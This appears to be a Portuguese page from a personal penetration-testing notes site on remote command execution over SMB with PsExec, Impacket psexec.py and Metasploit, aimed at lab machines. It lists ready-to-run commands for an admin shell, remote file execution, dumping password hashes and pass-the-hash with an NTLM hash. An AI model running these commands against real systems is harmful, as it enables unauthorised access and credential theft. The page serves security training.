> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/ports-and-services/smb-445/psexec-smb-tool.md).

# PsExec (Ferramenta SMB)

Execução remota de comandos SMB com PsExec, Impacket psexec.py, Metasploit e Pass-the-Hash.

> **PsExec** é uma ferramenta do pacote Sysinternals da Microsoft, usada para executar comandos ou programas remotamente em computadores Windows. Ela permite acesso interativo ou em segundo plano a uma máquina remota, muitas vezes com privilégios elevados, sem a necessidade de se conectar fisicamente ou usar um cliente RDP. Isso é particularmente útil para administração de rede, testes de segurança ou automação de tarefas.

Se a seguinte mensagem aparecer:

> "Assinatura habilitada, mas não obrigatória"

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-362bbc332df45e73e967421fa6ec9261f1b2bfd9%2F%7B134CB1AB-2795-486E-8AE1-AE6DF5B80868%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* Isso significa que a autenticação pode ocorrer sem verificação de assinatura. Pode haver comunicação insegura, possibilitando abuso relacionado à autenticação.

### **PsExec.py**

Aqui está um exemplo de comando para obter um shell interativo com privilégios administrativos:

```bash
psexec.py <domain>/<user>:<password>@<ip_address> cmd.exe
```

```bash
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aeae93e7e24db869972860f7f7112879e047dfca%2Fimage%20(2104).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Execução remota de comandos**

Permite executar comandos ou scripts diretamente em uma máquina remota, sem abrir uma sessão de usuário.

```bash
psexec //<ip_address> -u <user> -p <password> <command>
```

```bash
psexec //192.168.1.100 -u Administrator -p Password123 cmd /c "ipconfig /all"
```

### **Envio remoto de arquivos**

O PsExec permite copiar um arquivo local para a máquina remota antes de executá-lo.

```bash
psexec //<ip_address> -c <file_path>
```

```bash
psexec.py //192.168.1.100 -c C:/path/to/my_file.exe
```

## Metasploit

**Usando o Metasploit para explorar SMB com PsExec**

1. Inicie o Metasploit com o **exploit module/windows/smb/psexec** :

```bash
use exploit/windows/smb/psexec
set RHOSTS demo.ine.local
set SMBUser Administrator
set SMBPass qwertyuiop
exploit
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-427e0cc841e3ff6fb99a654f331ebd990a7d9c5f%2F%7B5ED4E413-5254-419B-8A1F-A1F3A64FE137%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Após obter acesso com sucesso, é possível "extrair" os hashes de senha:

```bash
hashdump
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-45e4e15b42805b03bbd4555f408b3979ca281338%2F%7B236A0A77-CDC7-40C4-8C79-392823E8481D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Pass-the-Hash - PsExec**

O PsExec também pode ser usado para Pass-the-Hash fornecendo um hash NTLM em vez de uma senha. Isso pode fornecer acesso administrativo quando o hash pertence a uma conta privilegiada:

```bash
psexec.py <domain>/<user>@<ip_address> -hashes :<ntlm_hash>
```

```bash
psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-530beab271a953c36619a2b8ea91cd086362861f%2Fimage%20(894).png?alt=media" alt=""><figcaption></figcaption></figure>


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